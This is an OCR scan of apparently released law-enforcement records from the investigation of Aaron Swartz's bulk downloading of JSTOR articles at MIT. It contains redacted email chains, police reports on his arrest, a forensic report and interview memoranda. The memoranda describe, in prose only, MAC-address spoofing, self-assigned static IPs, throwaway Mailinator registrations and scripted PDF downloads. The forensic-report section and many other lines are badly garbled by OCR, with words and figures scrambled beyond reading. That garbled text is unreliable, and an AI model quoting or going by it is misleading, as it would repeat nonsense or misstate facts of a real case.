public and private sectors. As a member of the CERT Digital Intclligence and investigation Directorate (DHD), [(bY(6 Jassists CERT's
law enforcement partners [n 8 wide range of digital forensic investigations.

(b)(6) Jholds a number of industry certifications lne Certified Computer Rxaminer (CCE), EnCase Certified Examiner

(EnCE), GIAC Certified Forensic Analyst (QCFA){(b)(B).}s also a member of the International Secicty of Farensic Computer
Examiniers and the Association of Certified Fraud Exammers [RI(B) Jobtained a Bachelor of Science degree from Utica Callege of
Syracuse University in Economic Crime Investigation with a concentration in Computer Security.

(b)(6).(bUTHC)
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Special Agent

gt Service
(DXBL.(OXT) | Desk)
(C) Mobile)
412-268-3226 (Jax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mai{ may contain information
that is privileged, law enforcement sensitive, or subject Lo other disclosure limitations. Such information is
loaned to you and should not be further disscminated without the permission of the Secret Service, If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.

All e-mail to/from this account is subject to official review and is for official vse only. Action may be iaken in
response to any inappropriate use of the Secret Service’s e-mail system. This e-mail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
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Special Agent
U.S. Sceret Service

(b)6).(bX7)  Desk)
(C) Mobile)

412-268-5226 (Fax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
fesponse to any inappropriate use of the Secret Service's e-mail system. This ¢-mail may contain information
that is privileged, law enforcement sensitive, ot subject to other disclosure limitations, Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service, If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it,
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(b)(6).(bX7)C) {1SD)
[(PXE).XTHC) |(BOS)

Sent: 2011 9:40 AM
To: |(b)(6).(b)(7)(0) ISD); Extarnal(b}(6).(b){ jcambridgepolice.org

Subject; Fw. First Thing Thursday Maming
Attachmenta: Sefzure Warrant Af. DraR 5-11-1Q updated.pdf

{(b)(B).{LX7XC) |

Sent from Blackberry

From: Heymann, Stephen (USAMA)[(b)(8),(6)(7)(C) husdgjggy
T b)(s) (b)(7)(C) BOS)

TNTAYE, mbridae
Smt Wed May 11 16 59 15 2011
Subject: First Thing Thursday Morning

<<Seizure Warrant Aff. Draft 6-11-10 updated. pdf>> This is an updated version of your proposed affidavit for the

¢ selzure warrant. First thing in the morning on Thursday {we want to get it before the judg oy ouéA day
as possible):

| ARE)

We will need you over tn the afternoon to sign it before the judge.

Thanks you, Steve
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(b)(6).(bX7)C) l
IS

D
(bX8).(bX7)(C)

From: BOS)
Sent: 1,20116:51 PM

To: {£)(8)b)7HC) (1SD}

Subject: Fw. First Thing Thursday Moming
Attachments: Seizure Warrant Aff. Draft 6-11-10 updated.pdf

Fyl. Call me on this whan you get a chance. Thx.

(b)(6).(bX7TXC)

F

TqbX6).()7)C) KBOS)
Sent: Wed May 11 17:26:28 2011
Subject: Fw: Rrst Thing Thursday Moming

cambridgenolice.org>

(B){(8).{(bX7XC)

From: en (USAMA) usdol.oav>
Toi(bX8).()(7XC) BOS(BXB)(BY7)C)  fisss dhs.uuv>

Ce
Sent: Wed May 11 (6:59:15 2011
Subject: First Thing Thursday Moring

<<Seizure Warrant Aff. Draft 5-11-10 updaled.paf>> This is an updated version of your proposed affidavit for the
seizure warrant. First thing in the morning on Thursday (we want to get it before the judge as early in the day

| IS

We will need you over In the afternoon to sign it before the judge.

Thanks you, Steve
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Main Form Page | of |

M.1.T. POLICE
CAMBRIDGE, MA
OFFICER REPORT
BEPORY DATE REPQRT TYPE , REVIEW STATUS
11000358 /5  01/06/201114:20:45  INVESTIGATIONS APPROVED
{b)(6),(bY{7}C)
Not For Public Rolease Date/Time Printed: Pl Feb 26 1422101 EST 2011 By| (bxs),(b)(MC)l
OFFICER REPORT
As Of 01/19/2012 10:34.865
NARRATIVE .

On 01/07/11 at about 14:30, I wet with [RIBIEXTKC]  lac the station. [BHAIGIINC)
had contacted this depariment on 01/06/11 aftex hearing fram other studénts abou ®
avents that touk place in ¥20-557.

[EEIEIstatad that ha entered the £I17B (Student Infarmation Processing Bosrd)
otfice at W20-557 (84 Massachusetts Ave.) at abouc[bY6)(Jon 01/06/11, He stated he
sat tq the left of the center tabla, and was alone in the room. XNe stated that
around 13:30, he observed & white male enter, Thia individual asked to use a network
drop. The pointed out a natwork drop on the other side of the room.
[EVETRYT] stated the individual aat next to the sofa and glass messaga board, plugged
:in a white or gray netbook and external hard drive, and began to work on the

i computer. Al abaut 13:50 aoked the individual if he neaeded anything, and
told him that he would be Teaving shortly, and needed to lock up. The individual
then left the aras, and secured the office at about 14:00.

mauumﬁ the indlviduel sz & college-age whits mals, cthin, dark hsiz wern
ong straggly, wearing a dark coat and knit cap. On 01/14/11, was shown

a pghoto array,’ and identified suspect Aaron Swarts as the ipdividual hs seen on
01/06/11 (11000381-4).

http:’II8.]69.0.247/QED//policcpartner/oommonlcdmeweblincviewlmain.jsp?agcncy=Ml... 212502011
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Forensic Report

“i?b!fl, Ihe Hitacnt havo drive was jemeved , Aspire and a-tachad Lo a
eRsic byidas ard imaged gsing TR mayer.  Tho image 2f thy pal drive was
examinad vsuing P

dn LA233740. the Flash Sriva marked as AP Lod yom “as altached to 4 Tarlesu T3 Forensze
£¥8 Bridgs oand imaned vsiny ¥TK Ipacer. Phe inegu of the £)s3h drive waz latar axadnag

Aviay STK and eacaus.

-3 & Tablesu Tl%es forsnays bricdge and Dwsysd CSING STK {rager.  The xma,c
rlve was later examined tElng PUH and Bncase.

F1L, Tas Reztern Digival nard drive was rexavad From the Rocke:ilsp Ercloay
f;

On 0%/1&710, T} ony MiZro vauls Tiny 3¢H Flash drie wad copsed through » Tebleav T9
forgnsic UsH Br ]
Phe rasulrs of enslysia of images of harc drives by Accesy Data fororzia Tant K {Frm

i ontarned 1o s fclder amsried as FTK Reparz.” The folder wil) Soatain 4 VELWI 0N of
in Adoha Por ; Rsh Test Purmatr apd HTML SCXApT. Tha STHL versioen THY

2O fo
he viswed wy 2licking on tas f£i1e “indsx. bet i
+F the Compytes Enmrcancy wesooass
”“'1°”-ﬂixaxcﬂ],rovaced aetaiied

The image of tne hoer was al (OKB).(bX7)(C)
The -bash_history fila racords, pér user, tommar

Feam 2t tha 84 asre F;ﬂ!reu[ ng Iﬁ"xtn-u ail Raraegis
enalysis of ths L bash history File,
“Ed keydivoXes entered inte Lhe BASH shﬁl terminal, which wig <he s 2l used o the &
CoAputer.  fhe Apalysie of ‘?P Dash_histary ldgune, fied ssveragl signifizant com Gnds
&8 commands Lhat starced e Teeparay o.nq.p) Bvinon scripy, eeniigoved thy stutic 1o
aiudresy, copied Lhe “CRlENLS Of the ‘pErasr iir«'tb;y te s folder named Yvalipdfa’ sn
ancthey oompuler; re-yy 1gved (ke visited tea wvg FUNST reglstration web Lage:r submiced g
CORDUERY OF UKFI NaMe fLrace Hoslt «nd omail address PuTddmeilanstor wom) t¢ bhs MIT
Juest ragistration form; “me shanged the BAC el Wiuld adenar oar che retihorg
“bkﬁ)ibﬁ?)la}ﬁc Provivded denailad aqa voug o, thres pyihen zazipts feyad “hotra image oF havg
rdve from the Acer. rhae Python scvip: 1@wpqrubbn. QY woald downioad BIF £1les fror the
SRL THingr S S wen. s tar, QU lsLosin péEplysa $i5 15 Cariained a Lha
folder Cpre fudlysis 0 che folder Acer Asp v,

1 RS

sl

xra
of the western Sigital nard deive inside tne erclognve wae aralyzad Ly FYH and
CEFe. The disk cuntained o divecrory "pdfs/”. inaide The directory prifs were 3759z
files in Adobe Systems Porststle Doguran: Pornat {20F). Sx. minsiiona of 4 sampile
: Lles ashowes ' at che flrst pege of ois GOCVECnYS way 3 covar ce frow SSTOR.

“he amage of ke flasi d:.{n narhed HE grd B6R wan exanined by Envase and FYE,  Tha flann
arive contained a fle Pufpovnbnluja.",“ WAth Seript vary simiiar <o the sSevigt of
kﬂ“pqr L by “hinh w55 found on rhe Amer. The fiash drjvae dlso contalpeq g 4
eshlist, log”,  Exand DEtIon o iog showed » list of nnmberq i

#50 Uk Yitlas of fhe paf filey diive Lnovhe endlosurs.  ohe fla
alad had an T80 Lmage b lipur kg Ry ilu:erththul Jrganizanion fey
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o UNITED STATES GOVERNMENT

Memorandum of interview
PATENO  fanuary 14,2011 U.S. Secret Service

etts Avenue, Cambridge MA Case # 102-775-60071-S

LOCATION

(b)(6).(bX7}C)

sUBRCT
INTERYIRWESD

o JPOBNC .
n /_tI: (BOS)
e TEX O] kambridge Police

{®)(6).(b)7)(C) | MIT Police
AUSA Stephen Heymann
(b)(B).{B)(7)C) MIT office of General Counsel

(b)(8). (BY(8).(bX7)C) (b)6).(bX7XC)
On 01/14/11, SAPXNO) Derectivd - c
COUNsy ¢ MIT office of General Counsel wit§(®H®OX7)C) 1d
(b)(8),(bX7XC) _ ___jfor MIT lnfoqnation Service and Technology ®X6),(b)(7) [mited (B)(6).(UTC)
(5)(6).(b)(7) } The tollowing is a summary of her statements: (C)

(b)(8).(b)
IXC) __Jinformed the group that an examination of the DHCP logs during the time in September when

JSTOR was reporting the excessive downloads show a computer registered as *‘ghost-laptop” with a
MAC address of 00:23:5a:73:s:fb and an email address of ghost@mailinator.com.

b)E),
Detective &327;(0) noted that all of the suspicious computer registrations on 09/24/10, 10/01/1 0,
10/08/10 and T2724/10 occurred on Friday nights [BYSMEYTHC) | confirmed that foot traffic in the
mn) L f building 16 would be light during those times.

(b)(6).{

(e tated that on 10/01; ean attempt was made to register with the same MAC address as

used on 09/24/10; Huwevcad blocked that MAC address from rcgistering. stated
that on 10/02/10 another attempt was made to register on the network with a MAC address of
00.23:3a:73:sf fc but still for “ghost-laptop."

(bX6).

{o)n also stated that at one point on 10/09/11, “ghost-laptop" was registered with a MAC address of
00:23:5a:73: 5ffc and *“ghost-macbook™ was registered with a MAC address of 00:17:£2:2¢:b0:74 at

the same time.
{b)(8).(b)7)
(C)

also stated that after 12/19/11, the altempts to register on the MIT network for “ghost-laptop”
and “ghost-macbook’ changed from attempts to gain an IP address dynamically assigned through the
MIT guest registration process to assighing themselves static IP addresses on the MIT network. This
behavior continued until after Swartz was observed on 01706/11 maving the laptop from Building 16

- % )a(b he machine was registered on the network from the Steatton Student Center.

(b)(6).

MO also stated that on 01/06/11 at approximately 1251 the computer connected to an IP address
registered 10 Amazon’s Elastic Compute Cloud (EC2) service.
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{L)(6),(b)(7)
(C) noted thatS up to 12/19/10, Swartz obtained IP addresses by using the guest registration to be

assigned an IP address through DHCP. From 12/19/10 1o 01/06/1 1, Swartz would assign himself a
-+ -static P adldresyOHO®) fiheorized that ance Swartz understood the subnet mask of the network
Building 16 was on it would have been easy to assign himself an 1P address that was not being used;
However when he moved the laptop to the Stratton Student Center on 01/06/1 1, he connected to a new
switch and went back to obtaining an IP address through DHCP.

Prior to this incident, JSTOR granted access to anyone using a IP address from the MIT network, MIT

has a class A network and owns all ol the sses beginning with 18.
(b)(ﬁ).(b)(7)1 (bXB).X7)C)
(C) recalled that on 01/03/1 ent him an email telling him that JSTOR informed

her that they had detected abuse Trom [P address [BYXELEXTNC) |On 01/04/1 1,I0)6). fraced the 1P
addresﬂ DXOLIXIH Jin the ARP table to MAC address 004¢.c520.c756. MAC address 004¢.e5a0.c756

was also assigned IP address{®)B).®}7) Jon the ARP table.[BYB).®) hated that IP address[BXELOXNIC) ]
was logged with zero seconds talking on the network{B)6).(B) [ theorized that Swartz established IP
1ddresd(BYE).ONN Jto communicate with the computer incase the MIT network shut down IP address
I(b)(G)-(blU)(C) al
l«::b:)(e).(b)m(C) |
(TXC) __ Istated that [P addre was an [P address registered to JSTOR that appeared in the

logs.
I(b)(s).(b)

U |srated thet early in the moming of 01/04/11 he noticed in the ARP table that the {P address
reported for abuse by JSTOR was active on the switch Gi 8/16 that he knew was in Building 16. The
switch is also listed in the logs M16-004L-sw-cntry.mit.edu. 004T refers to the room oumber 4T, the

wire cre the Acer Aspire one netbook with serial number LUSAX0D001001100E] 601 was

found, recalled that at approximately 0200 he sent an email tJ{BX6).(6X7) and{bX6).(bX7XC) |

wi lhbe switch the computer committing the abuse was attached to and asked them to find it
(b)(6).(b)
(7%C) confirmed that the closet was generally kept locked.

(bX8).(bX7)C)

stated that at first Swaniz used guest registration to obtain an IP address but that static [P
address were used lated(®N6).() [confirmed that someone with guest registration has full access in and

ot network. (BXS). | stated that MIT border routers do hlock the Microsoft ports.

(7XC)

stated all three registrations Swartz used were variation of ghost with the computet name either
being ghost-macbook or ghost-laptop and the name used for guest registration being either Gene, Gary
ar Gruce.

(b)8).(b
tatcd that based on the logs he reviewed that Swartz must have spoofed his MAC address at
least once. The MAC address used in January ( 004¢.€540.¢756) had an invalid Organizationalty

Linigue Identifier (QUI).
2%))(5).(13)(7) ©uh

stated that the emails Swartz used for guest registration used a service called mailinator,
Mailinator is a service that gives spoofed emails the appearance of legitimate ernails.

The packet capture from 01/04/11 identificd 1wo open ports on the Acer Aspire one found in 04T, The
ports that were open were 22 and 80‘)2.idcmiﬁed that the service CherryPy was running.
é.)flg;rry y is a web application framework using the pythen programming language.

( ( .

[\ Jestimated that as of 1/14/11, MIT bad spent 160 man-hours investigating the abuse by Swartz.
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. UNITED STATES GOVERNMENT
Memorandum of interview
ATELD  Jentesmber 18T, 2012 1).S. Secret Service
LICATI 77 Massachusetts Avenue, Cambridge, MA Case # 102-775-60071-S
{(B)(6).(b)(7 )(C) :
IAWECT
INTERVIZEWED
(b)B).(ENTHC)
. SA 'BOS)
{ ‘ etectivf®N6).RXINC)  Fambridge Police
i AUSA Stephen Heymunn
' A - [12)(0) ( (B
i (LYB).(bX7HC)
?&
: (b)(6)(bX7)
On September 18, 2012,(©) vas interviewed at the MIT Genetaal Counsels Office st 77

i Massachusetts Avenue in Cambridge, Massachusetts, in reference fo the Boston Figld Office case

number 102-775-80071-8 _The imerview was conducted by Agen (O)BLBN7HC)  |and Cambridge

Police Detecliv Also in atiendance were AUSA Stephen Heymann, AUSA b L1C
®)B).0)THC)  hnd®)ELBI7HC) | The following is a suramary of his statements:

'recnlled that on 01704/11, he quericd the ARP table for 1P address nnd
ervered the MAC address 00:4c:e5.20:¢7:56 on Vian 55, [ ® lstaied that he then searched
¢7:56 using Cisco Discovery Protocol (CDP) and I‘ound also on VLan 55. CDP showed

the lncation to be M16-004t-sw-entry.mit.edu. {12! | stated that )
Tocation and found & computet connected to the switch. e TTRTETEIT Jthen calted B ]
[FPTERRTstated that be believed that[OERN_|'s computet was used 10 Stari a packet capture.

stated be arrived and the telecommunications closet, a computer was connected t

o switch and{V@ ®HN b compter was conducting the packet capture. [FIEICT [stated that he could
not remember any other incident in which a mysterious computer was found connected to the
network IBIEIEL Jstated that it was unusual for a computer to avoid derection by changing its MAC
address M0 falso stated that it was very rare to track a digital issueto a phiysical computer.
stated that Nmap was used tn scan the computer (o discover what bosts and services were
running on the computer they discovered.

e ey g

e it b Sorm—.

e A

oy

voonBam on

tated that after the computer was moved the ability to observe packet data stopped. },;‘(fl;“;"”

stated that after the computer was moved he started to look for it by host name.

it ars

Py
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[(-b)(ﬁ).(b)m(c)

{b)(8).(6)7)(C)
From:
Sent: hugsday, Qctober 11, 2012 3:04 PM
Subject: (B)6).(b N
Attachments: 9-18-12.docx
(b)8).(b)}7)
On September 18", 2012 (€ was Interviewed at the MIT Generaal Counsels Offlee at 77

Massachusetts Avenue in Cambridge, Massachusetts, in referenc he on field Office case
number 102-775: interview was conducted by Aeeni(b)(s)-(bgm(c) and Cambridge
Also in attendance were AUSA Stephen Heymann, AUSA[RIBLE]
e following is 3 summary of his statements:

ecalled that on 01/04/11, he querled the ARP table for P address [EXEIDX7IC)and
discovered the MAC address 00:4¢:€5:a0:¢7:56 on Vian 55. [OF8)_ ktated that ha then searched
€7:56 using Cisco Distovery Protoco! (COP) and found{0¥9) @K/} Jalso on Vian 55. CDP showed the
location to be M16-004t-sw-entry.mit.edu [P |stated tha@RTORIGT  Jwent to that location
and found a computer connected to the switch. [1i®  krated thatltgltol & Jthen called [BTRT]
stated that he belleved thatiRiEIUN(i §'s computer was Used to start a packet

capture.

(X8I D) _ktated that when he arrived and the telecommunications closet, a computer was connected
to the switch and (BB }'s computer was conducting the packet capture. [P _ Jstated that he

14334

could not remember any ather inctdent in which 3 mysterious computer was found connected to
the network U ] istated that It was unusust for a computer to avoid detection by changlng its
MAC address, also stated that it was very rare to track a digita! Issue to a physical
computer.[8%_ [tated that Nmap was used to scan the computer to discover what hosts and

services were running on the computer they discovered.

[EX8)._Jstated that after the computer was moved the ability to observe packet dats
stopped.stated that after the computer was moved he started to look for it by host name.

(b)(6).(bK7XC)

USSS Boston

{b)(8)(LU7XC)
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Massachusetts Institute of Technology

Police Department
301 Vassar Street
Cambridge, MA 02139
617-253-1212
Fax: 617-253-8822

To: Captain
Patro} Commander

From: Captain [PX®GITHCY ]
Chief of Staff

Subject: Arrest Suspect Build. 16

Date:  Jamuary 6, 2011

Sir;

On this date at approximately 14:05 hours I was traveling on Vassar Street heading to
the STATA garage to retrieve my personal motor vehicle as I was secure for the day. As [ was
headed down Vassar [ noticed a W/M travailing in the opposite direction towards Mass, Ave on
a gray bike. This W/M matched the description of 2 suspect this depariment was seeking in
connection B&E that occurred in the basement of Building 16 during the week of January 3,
2011. Tobserved through my rearview mirror the individual in question make a right turn onto
Mass. Ave headed in the direction of Central Sq. At this time I made a u-turn on Vassar Street in
an attempt o catch up the W/M and get a better look to confirm my suspicion,

As I came to intersection of Mass. and Vassar Street I was stopped due to traffic and a
red light. { could still the individual crossing the rail road tracks continuing on Mass Ave
towards Central 8q. [ proceeded on Vassar and made a right turn onto Mass, Ave maintain
visual contact with this suspect. Once again I was I was stopped by the red light at Albany
Street, I fully obeyed the traffic control signal as I never lost visual contact with this individual.
As the tumed green 1 proceed on Mass. Ave operating at a slow speed. Traffic was light and
there no other bicyclist in my path of view. As] entered the Central Sq, area I passed the
individual in question, I was able to get a good look at the person operating the bike and his
helmet and back pack. At this time I was positive that it was in fact the person wanted for the
B7E a1 Building 16. I made this observation from studying several pictures that were in my
possession from a covert camera that was installed in the room that the B&E occurred in,

I then continued to foltow this individual and called Capt, form
him 1 was following the suspect. Capt,[P®1® Jand Secret Serviee Agent®XELEN7)  fwho
assigned to assist the MIT Police in this investigation left the station and were responding to my
lacation. [decided to pull ahead of the suspect and stop him and attempt to ascertain his
identify. 1 pulled over on Mass. Ave just beyond Lee Street. AsI exited my cruiser [ activated
the blue lights and displayed my wallet badge. I motioned for the individual to stop and he
complied. I then explained that I was a Captain with the MIT Police and wanted to speak with
him. The suspect stated he does not speak to strangers. T was again presented rmy identification
both my badge and picture I-D. The suspect stated the MIT Police are not real cops and he would
not have a conversation with me. At this point the suspect dropped his bike to ground and took
off on foot back in the direction of Lee Street. I gave a brief foot pursuit but the suspect had a
good lead on me. [ then ran back to my cruiser made a u-turn on Mass. Ave and proceeded to
follow the suspect, never loosing visual contact. I then called Captl“""’“"’ via cell and gave him

(NG
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a quick update aud the direction the suspect was fleeing. I coyld see a cruiser heading in my

dirsction; Capt indicated it was him along with Agen instructed them to
continue straight; ama that the suspect took a left onto Lee Street. I could see the suspect
standing on Lee Sireet. I stayed on Mass. Ave. continuing to direct Capt. IR _] Ag Capt

cachcd my position I had him take 2 right onto Lee Strect telling him the suspect was

walking on the lef} side of Lee Street, Capt.ul!ed ahend of the suspect; both Capt.

d Agcn exited their eruiser and called out fo the suspect ta stop, The suspect
started to run back in the direction of Mass, Ave. noticing I was in front of him he ran into the
street into a private driveway where he was apprehended.
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UNITED STATES GOVERNMENT

| Memorandum of interview

PAmA®  September 13%,2012 . U.S. Secret Service
werow 301 East Liberty Strest, Ann Asbor, MI Case # 102-775-60071-8

r‘ﬁsrﬂ_mxa. ey |
vovewsn |

5 [P

[

MRSE T DetectivePXGLEXXC) | Cambridge Police

AUSA ann

AUSA [PIO1

I(WG).(B)( 7XC)

" {(b)B).(b}7)(C
On September 13, 2012 “ vas interviewed at the JSTOR office at 301 East Liberty
Street, Ann Arbor, M, in reference (o the Boston Field Office case number 102.775- :
interview was conducted by AgentP)6).0X7)C) find Cambridge Police Detective] b)B),(bX7HC
Also in attendance were AUSA Stephen Heymann, AUSA lassrsus%xc; (b)(8).LY7XHC
[EXE)LEXTICY ] The fullowing is a summary of his statements:

e stated that he was {FTERIRT—Jand that he had worked for JSTOR since 2007.
(OX0®)  Kiated that he had worked as @ solfware engineer, on website operations and as a data
architect. fBI5®) Jstated that in 2010 he was part of the web operations team that is part of IT,

-

stated that the system identifies a session with cookies. [S0® |stated that the first time a
user visits JSTOR the user gets a cookie. EELP1] stated that he was able to detect that Swartz used

Cur! programming language to manipulate cookies.

@gmmted that he Is able to review a chart of activity that shows an increase of activity in PDF
ansacuons on 09/25/10 at api roximately 1000.@(5;%’;"” stated that at 1800 there was a drop in

activity due to server failure. [PX810) |stated that on 09726/10 at approximately 0800, PDF activity
resumed at 2 high level intil approximately 1600. [R¥5).0) ]stated that from 0506 on 09/25/10 to 1624
on 09/26/10, 1P address had 1,256, 249 sessions and downloaded 453,570 articles and
562 journals. ﬂ also stated that on 10/09/10 from 1453 to 1908 IP address [BYETBRTIC Jbad
8.515 sessions and downloaded 8,422 articles and 714 joumals.

%m&d that JSTOR had 10 servers in each of their data centers and restartiog a server takes
n 10 and 20 minutes.
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